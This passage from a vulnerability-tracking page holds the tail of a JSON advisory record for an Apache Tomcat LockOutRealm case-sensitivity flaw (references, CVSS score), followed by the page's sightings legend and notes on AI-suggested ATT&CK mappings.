"url": "https://github.com/apache/tomcat/commit/6dd75beb55bd42fc5f78e929596b25018cd17717"
},
{
"type": "WEB",
"url": "https://github.com/apache/tomcat/commit/83f3e51df7b87f5f6e626951c575ded1a512e8ef"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/tomcat"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/ytjcgldshj73lcnd1sh95od5hrghwogp"
},
{
"type": "WEB",
"url": "https://tomcat.apache.org/security-10.html"
},
{
"type": "WEB",
"url": "https://tomcat.apache.org/security-11.html"
},
{
"type": "WEB",
"url": "https://tomcat.apache.org/security-9.html"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/05/12/9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Apache Tomcat: LockOutRealm treats user names as case-sensitive"
}
Loading…
Trend slope:
-
(linear fit over daily sighting counts)
Show additional events:
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Loading…
Loading…